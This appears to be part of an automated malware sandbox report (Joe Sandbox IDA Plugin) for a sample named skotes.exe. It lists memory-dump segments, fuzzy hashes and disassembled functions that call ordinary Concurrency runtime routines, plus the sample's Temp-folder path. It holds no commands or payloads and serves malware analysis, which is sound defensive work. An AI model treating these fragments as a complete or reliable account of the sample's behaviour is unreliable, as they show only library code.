Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: e3b8bf0c073410dad8cfbe57bda5f93bcf282e1e7bd0261fab08fbd58d04e720
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 64F0A731204B105FEEA2BB5C8811F6B23D49F51711F01C4BEE45B97242CE24E942CB41

Function 00B8EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00B8EFD1

Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00B8F989
Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00B8F9C0
Part of subcall function 00B8F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00B8F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EFDD

Part of subcall function 00B8F40F: Concurrency::critical_section::unlock.LIBCMT ref: 00B8F433

Concurrency::Context::Block.LIBCONCRT ref: 00B8EFE2

Part of subcall function 00B90366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00B90368

Concurrency::critical_section::lock.LIBCONCRT ref: 00B8F002

Part of subcall function 00B8F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B8F8AC
Part of subcall function 00B8F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00B8F8B7

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 7a2ea284a1e5692f87cd95bcff3db10d79bdc0248df482e0ed5673d802768c2a
Instruction ID: 6cc64aa01b8847b2e0b32282189cc4443a6befebd866f6508aa7fc7fcb02c7ca
Opcode Fuzzy Hash: 7a2ea284a1e5692f87cd95bcff3db10d79bdc0248df482e0ed5673d802768c2a
Instruction Fuzzy Hash: 24E04F34A00506ABCB04FB20C45556DBBA1FF84360B1483A9E4A5172F2CF386E46CB85

Function 00BADFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00BADFE8

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: 640e9746791cbc564e091b34ed1376964880361f2a2ced17b6bfd1dd36a59eea
Instruction ID: 66c1ebf54efb7d46de6b6b1d9dc71fb125b990b7181a075a444af34de2817923
Opcode Fuzzy Hash: 640e9746791cbc564e091b34ed1376964880361f2a2ced17b6bfd1dd36a59eea
Instruction Fuzzy Hash: B8216F7160C209AFDB30AF659C82E6B77EDEF13364B104594F93897152EB71ED0087A0

Function 00BA1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00BA1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA17AF

Strings

pContext, xrefs: 00BA17A7

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e209f6788bc4462f7bcd1319521147347fef7bd2f4f082785d04203150ae5d9d
Instruction ID: 5af826b6f37a090f21e3d65d98e3b5aeb4fea3802898edf3cdc9800211ada9cb
Opcode Fuzzy Hash: e209f6788bc4462f7bcd1319521147347fef7bd2f4f082785d04203150ae5d9d
Instruction Fuzzy Hash: 1711E436A042149BCB55BF6CC48596D77E5EF86360F0448E9E812AB352DB30DD01CBD0

Function 00B9B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00B9B94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B9B961

Strings

pContext, xrefs: 00B9B959

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: e94995d2e7b22b96dd88e3dd0a9ae68f34501fce2b29ed2e93f836b52a2a3ba1
Instruction ID: 12917fc9a9c04ab3dd27433323d0d0b131f2135b35162e3cd2c1b8043b9e42f4
Opcode Fuzzy Hash: e94995d2e7b22b96dd88e3dd0a9ae68f34501fce2b29ed2e93f836b52a2a3ba1
Instruction Fuzzy Hash: AAE0D139B00104A7CB04B7A8D849D9DB7FDDEC57107044199F511B7351DF70D905C6E0

Function 00B934CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B934FC

Strings

version, xrefs: 00B934E1
pScheduler, xrefs: 00B934F4

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
